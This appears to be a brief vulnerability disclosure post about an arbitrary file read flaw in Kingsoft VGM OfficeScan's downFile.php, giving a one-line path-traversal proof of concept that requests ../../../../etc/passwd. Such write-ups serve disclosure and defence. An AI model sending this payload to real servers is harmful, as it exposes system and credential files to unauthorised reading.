Post

Kingsoft Vgm Officescan Downfile Php Arbitrary File Reading Vulnerability

Posted
By Rhy0z
1 min read
Kingsoft Vgm Officescan Downfile Php Arbitrary File Reading Vulnerability

Kingsoft VGM OfficeScan downFile.php arbitrary file reading vulnerability

Vulnerability Description

Kingsoft VGM OfficeScan downFile.php file has arbitrary file reading vulnerability, and attackers can obtain any file on the server through the vulnerability.

Vulnerability Impact

Kingsoft VGM OfficeScan

Network surveying and mapping

Vulnerability reappears

Login page

img Verify POC

1

/downFile.php?filename=../../../../etc/passwd

img

This post is licensed under CC BY 4.0 by the author.